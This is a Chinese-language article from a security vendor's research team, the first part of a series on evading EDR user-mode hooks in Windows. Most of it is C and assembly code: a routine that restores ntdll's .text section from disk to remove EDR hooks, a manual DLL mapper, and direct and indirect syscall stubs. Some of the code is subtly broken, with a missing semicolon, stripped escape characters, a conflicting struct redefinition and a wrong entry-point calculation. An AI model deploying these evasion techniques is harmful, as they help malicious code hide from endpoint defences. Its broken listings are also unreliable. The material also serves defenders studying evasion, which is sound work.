前言
山石网科情报中心在分析狩猎样本时,对一些EDR对抗技术做了技术沉淀。该系列将由浅入深介绍EDR相关安全对抗技术。
什么是 syscall
内核中包含了大部分操作系统的内部数据结构,所以用户模式下的应用程序在访问这些数据结构或调用内部Windows例程以执行特权操作的时候,必须先从用户模式切换到内核模式,这里就涉及到系统调用。
-
x86 windows 使用 sysenter 实现系统调用。 -
x64 windows 使用 syscall 实现系统调用。
在 Windows 上,内核有一个允许从用户模式调用的函数表。这些函数有时称为系统服务、本机函数或 Nt 函数。它们是以 Nt 或 Zw 开头的函数,位于 ntoskrnl.exe 中。系统服务表称为系统服务描述符表,简称SSDT。应用程序通过将其 ID 存储到 eax 寄存器来告诉内核它想要调用哪个系统服务。系统服务 ID(通常称为系统服务号、系统调用号或简称为 SSN)是 SSDT 中函数条目的索引。因此,将 eax 设置为 0 将调用 SSDT 中的第一个函数,1 将调用第二个函数,2 将调用第三个函数,依此类推…. syscall指令使CPU切换到内核模式并调用系统调用处理程序,该处理程序从eax寄存器中获取SSN并调用相应的SSDT函数。
比如程序调用OpenProcess函数,我们可以查看kernelbase.dll!OpenProcess的反编译内容发现,它其实是对NtOpenProcess的封装:
查看NtOpenprocess汇编代码如下,0x26是SSDT种SSN:
从用户模式来看,函数的 Nt 和 Zw 版本是相同的。从内核模式来看,Zw 函数采取的路径略有不同。这是因为 Nt 函数被设计为从用户模式调用,因此需要对函数参数进行更广泛的验证。
EDRs 和用户模式 Hook
18009c570 4c8bd1 mov r10, rcx
18009c573 b826000000 mov eax, 0x26
18009c578 f604250803fe7f01 test byte [0x7ffe0308], 0x1
18009c580 7503 jne 0x18009c585 {0x7ffe0308}
18009c582 0f05 syscall
NtOpenProcess:
jmp 0x121432243 --> 跳转
mov r10, rcx
mov eax, 0x26
test byte [0x7ffe0308], 0x1
jne 0x18009c585
syscall
为了Hook ntdll.dll 中的函数,大多数 EDR 只是用 jmp 指令覆盖函数代码的前 5 个字节。jmp 指令会将代码执行重定向到 EDR 自己的 DLL 中的某些代码(自动加载到每个进程中)。CPU 被重定向到 EDR 的 DLL 后,EDR 可以通过检查函数参数和返回地址来执行安全检查。一旦 EDR 完成,它可以通过执行覆盖的指令来恢复 ntdll 调用,然后跳转到 ntdll 中钩子之后的位置(jmp 指令)。
绕过 EDR HooKs
EDR 脱钩
由于hook的ntdll位于我们自己进程的内存中,我们可以使用VirtualProtect()使内存可写,然后用原始函数代码覆盖EDR的jmp指令。为了更换hook,我们当然需要知道原始的代码是啥。最常见的方法是从磁盘读取 ntdll.dll 文件,然后将内存版本与磁盘版本进行比较。这是基于假设 EDR 不会检测或阻止从磁盘手动读取 ntdll.dll。
部分hook跳转示例:
__declspec(naked) void KiFastSystemCall()
{
__asm{
cmp eax,1 ;EAX保存着我们需要的函数的序号.我们跳.....
jz Label
jmp KiFastSystemCallEx
;其他的返回原始KiFastSystemCall的地方,当然,原来的函数已经被我们JMP出来.需要特别处理
Label:
add esp,4
;不再返回到原始的ZwAccessCheck函数里面.而是直接返回调用ZwAccessCheck的函数.
jmp MyZwAccessCheck ;
}
}
#include "pch.h"
#include <iostream>
#include <Windows.h>
#include <winternl.h>
#include <psapi.h>
int main()
{
HANDLE process = GetCurrentProcess();
MODULEINFO mi = {};
HMODULE ntdllModule = GetModuleHandleA("ntdll.dll");
GetModuleInformation(process, ntdllModule, &mi, sizeof(mi));
LPVOID ntdllBase = (LPVOID)mi.lpBaseOfDll;
HANDLE ntdllFile = CreateFileA("c:\windows\system32\ntdll.dll", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
HANDLE ntdllMapping = CreateFileMapping(ntdllFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);
LPVOID ntdllMappingAddress = MapViewOfFile(ntdllMapping, FILE_MAP_READ, 0, 0, 0);
PIMAGE_DOS_HEADER hookedDosHeader = (PIMAGE_DOS_HEADER)ntdllBase;
PIMAGE_NT_HEADERS hookedNtHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)ntdllBase + hookedDosHeader->e_lfanew);
for (WORD i = 0; i < hookedNtHeader->FileHeader.NumberOfSections; i++) {
PIMAGE_SECTION_HEADER hookedSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(hookedNtHeader) + ((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i));
if (!strcmp((char*)hookedSectionHeader->Name, (char*)".text")) {
DWORD oldProtection = 0;
bool isProtected = VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &oldProtection);
memcpy((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), (LPVOID)((DWORD_PTR)ntdllMappingAddress + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize);
isProtected = VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, oldProtection, &oldProtection);
}
}
CloseHandle(process);
CloseHandle(ntdllFile);
CloseHandle(ntdllMapping);
FreeLibrary(ntdllModule);
return 0;
}
手动映射 DLL
我们可以将干净的ntdll副本加载到进程的内存中并使用它而不是原始内存中的,从磁盘读取 ntdll 的干净副本来使我们能够unhook原始 ntdll。LoadLibrary()和LdrLoadDll()不允许系统两次加载同一个DLL,所以我们必须手动加载它。手动映射 DLL 的代码可能会很广泛,并且还容易出现错误或检测。
DLL 通常还执行对其他 DLL 的调用,因此我们要么被限制为只能使用手动加载的 ntdll 中的函数,要么加载我们需要的每个 DLL 的第二个副本并修补它们以仅使用其他手动加载的 DLL,这可能会变得非常混乱。如果防病毒软件进行内存扫描并发现每个 DLL 的多个副本加载到内存中,那么也很有可能被检测到。
手动映射dll代码示例:
#include <Windows.h>
#include <stdio.h>
// 定义 PE 头结构
typedef struct _IMAGE_NT_HEADERS {
DWORD Signature;
// 其他字段省略...
} IMAGE_NT_HEADERS, *PIMAGE_NT_HEADERS;
// 函数指针类型
typedef FARPROC(WINAPI* GetProcAddress_t)(_In_ HMODULE hModule, _In_ LPCSTR lpProcName);
typedef HMODULE(WINAPI* LoadLibraryA_t)(_In_ LPCSTR lpLibFileName);
typedef LPVOID(WINAPI* VirtualAlloc_t)(_In_opt_ LPVOID lpAddress, _In_ SIZE_T dwSize, _In_ DWORD flAllocationType, _In_ DWORD flProtect);
// 加载 DLL 到内存的函数
HMODULE ManualMapDll(const char* dllPath) {
HANDLE hFile = CreateFileA(dllPath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
printf("Failed to open the file.n");
return NULL;
}
DWORD dwFileSize = GetFileSize(hFile, NULL);
if (dwFileSize == INVALID_FILE_SIZE || dwFileSize == 0) {
CloseHandle(hFile);
printf("Failed to get the file size.n");
return NULL;
}
LPVOID pFileData = VirtualAlloc(NULL, dwFileSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (pFileData == NULL) {
CloseHandle(hFile);
printf("Failed to allocate memory.n");
return NULL;
}
DWORD bytesRead;
if (!ReadFile(hFile, pFileData, dwFileSize, &bytesRead, NULL) || bytesRead != dwFileSize) {
VirtualFree(pFileData, 0, MEM_RELEASE);
CloseHandle(hFile);
printf("Failed to read file data.n");
return NULL;
}
PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((BYTE*)pFileData + ((PIMAGE_DOS_HEADER)pFileData)->e_lfanew);
if (pNtHeaders->Signature != IMAGE_NT_SIGNATURE) {
VirtualFree(pFileData, 0, MEM_RELEASE);
CloseHandle(hFile);
printf("Invalid PE file signature.n");
return NULL;
}
LPVOID pImageBase = VirtualAlloc((LPVOID)pNtHeaders->OptionalHeader.ImageBase, pNtHeaders->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (pImageBase == NULL) {
VirtualFree(pFileData, 0, MEM_RELEASE);
CloseHandle(hFile);
printf("Failed to allocate memory for image base.n");
return NULL;
}
// 复制 PE 文件到内存
memcpy(pImageBase, pFileData, pNtHeaders->OptionalHeader.SizeOfHeaders);
// 复制节区到内存
PIMAGE_SECTION_HEADER pSectionHeader = (PIMAGE_SECTION_HEADER)(pNtHeaders + 1);
for (int i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++) {
memcpy((LPVOID)((BYTE*)pImageBase + pSectionHeader[i].VirtualAddress), (LPVOID)((BYTE*)pFileData + pSectionHeader[i].PointerToRawData), pSectionHeader[i].SizeOfRawData);
}
// 更新重定位表
if (pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size > 0) {
DWORD delta = (DWORD)((BYTE*)pImageBase - pNtHeaders->OptionalHeader.ImageBase);
PIMAGE_BASE_RELOCATION pBaseReloc = (PIMAGE_BASE_RELOCATION)((BYTE*)pImageBase + pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
while (pBaseReloc->VirtualAddress != 0) {
DWORD numEntries = (pBaseReloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
PWORD pRelocs = (PWORD)(pBaseReloc + 1);
for (DWORD i = 0; i < numEntries; i++) {
if ((pRelocs[i] >> 12) == IMAGE_REL_BASED_HIGHLOW) {
DWORD* pPatch = (DWORD*)((BYTE*)pImageBase + pBaseReloc->VirtualAddress + (pRelocs[i] & 0xFFF));
*pPatch += delta;
}
}
pBaseReloc = (PIMAGE_BASE_RELOCATION)((BYTE*)pBaseReloc + pBaseReloc->SizeOfBlock);
}
}
// 更新导入表
if (pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size > 0) {
PIMAGE_IMPORT_DESCRIPTOR pImportDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)((BYTE*)pImageBase + pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
while (pImportDescriptor->Name != 0) {
char* moduleName = (char*)((BYTE*)pImageBase + pImportDescriptor->Name);
HMODULE hModule = LoadLibraryA(moduleName);
if (hModule == NULL) {
printf("Failed to load dependent module: %sn", moduleName);
VirtualFree(pImageBase, 0, MEM_RELEASE);
VirtualFree(pFileData, 0, MEM_RELEASE);
CloseHandle(hFile);
return NULL;
}
PIMAGE_THUNK_DATA pThunk = (PIMAGE_THUNK_DATA)((BYTE*)pImageBase + pImportDescriptor->FirstThunk);
while (pThunk->u1.AddressOfData != 0) {
if (IMAGE_SNAP_BY_ORDINAL(pThunk->u1.Ordinal)) {
FARPROC procAddress = GetProcAddress(hModule, (LPCSTR)IMAGE_ORDINAL(pThunk->u1.Ordinal));
if (procAddress == NULL) {
printf("Failed to get function address by ordinal.n");
VirtualFree(pImageBase, 0, MEM_RELEASE);
VirtualFree(pFileData, 0, MEM_RELEASE);
CloseHandle(hFile);
return NULL;
}
pThunk->u1.Function = (DWORD)procAddress;
}
else {
PIMAGE_IMPORT_BY_NAME pImportByName = (PIMAGE_IMPORT_BY_NAME)((BYTE*)pImageBase + pThunk->u1.AddressOfData);
FARPROC procAddress = GetProcAddress(hModule, (LPCSTR)pImportByName->Name);
if (procAddress == NULL) {
printf("Failed to get function address by name.n");
VirtualFree(pImageBase, 0, MEM_RELEASE);
VirtualFree(pFileData, 0, MEM_RELEASE);
CloseHandle(hFile);
return NULL
}
pThunk->u1.Function = (DWORD)procAddress;
}
pThunk++;
}
pImportDescriptor++;
}
}
// 执行 TLS 回调
if (pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_TLS].Size > 0) {
PIMAGE_TLS_DIRECTORY pTlsDirectory = (PIMAGE_TLS_DIRECTORY)((BYTE*)pImageBase + pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_TLS].VirtualAddress);
if (pTlsDirectory->AddressOfCallBacks != NULL) {
PDWORD pCallback = (PDWORD)(pTlsDirectory->AddressOfCallBacks);
while (*pCallback != NULL) {
PDLL_ENTRY_POINT pEntryPoint = (PDLL_ENTRY_POINT)(*pCallback);
pEntryPoint();
pCallback++;
}
}
}
// 设置程序入口点
DWORD entryPointOffset = pNtHeaders->OptionalHeader.AddressOfEntryPoint;
DWORD entryPointRVA = pNtHeaders->OptionalHeader.BaseOfCode + entryPointOffset;
FARPROC entryPoint = (FARPROC)((BYTE*)pImageBase + entryPointRVA);
// 跳转到程序入口点
__asm {
pushad
pushfd
mov eax, entryPoint
call eax
popfd
popad
}
return (HMODULE)pImageBase;
}
int main() {
const char* dllPath = "C:\Path\To\Your.dll";
HMODULE hModule = ManualMapDll(dllPath);
if (hModule != NULL) {
printf("DLL successfully mapped!n");
// 可以在这里调用 DLL 中的函数,通过 GetProcAddress 获取函数地址
// 卸载 DLL
FreeLibrary(hModule);
}
return 0;
}
直接系统调用
__asm {
mov r10, rcx
mov eax, 0x123
syscall
ret
}
01
读取 ntdll 的干净副本
直接读取mov eax, imm32指令,找到我们需要的SSN
02
根据函数顺序计算系统调用号
03
硬编码
最简单的方法是对系统调用号进行硬编码。虽然它们确实随着版本的不同而发生变化,但过去并没有发生很大的变化。检测操作系统版本并加载正确的 SSN 集并不需要太多工作。j00ru 已经发布了每个 Windows 版本的每个系统调用号的列表(https://j00ru.vexillium.org/syscalls/nt/64)。此方法的唯一缺点是,如果系统调用号发生更改,代码可能无法在新的 Windows 版本上自动运行。
间接系统调用
大多数 EDR 在 Nt 函数的开头编写钩子,覆盖 SSN 但保持系统调用指令不变。这允许我们利用 ntdll 已经提供的系统调用指令,而不是自己写。我们可以自己设置 r10 和 eax 寄存器,然后跳转到hook的 ntdll 函数(位于 EDR 挂钩之后)内的系统调用指令。
上述test和jnz是为了兼容老系统,做检查是否支持syscall,实际我们不需要这两个指令也ok。
总结
山石云瞻威胁情报中心:
https://ti.hillstonenet.com.cn/
参考链接
原文始发于微信公众号(山石网科安全技术研究院):绕过EDR探索系列一 | 用户模式HOOK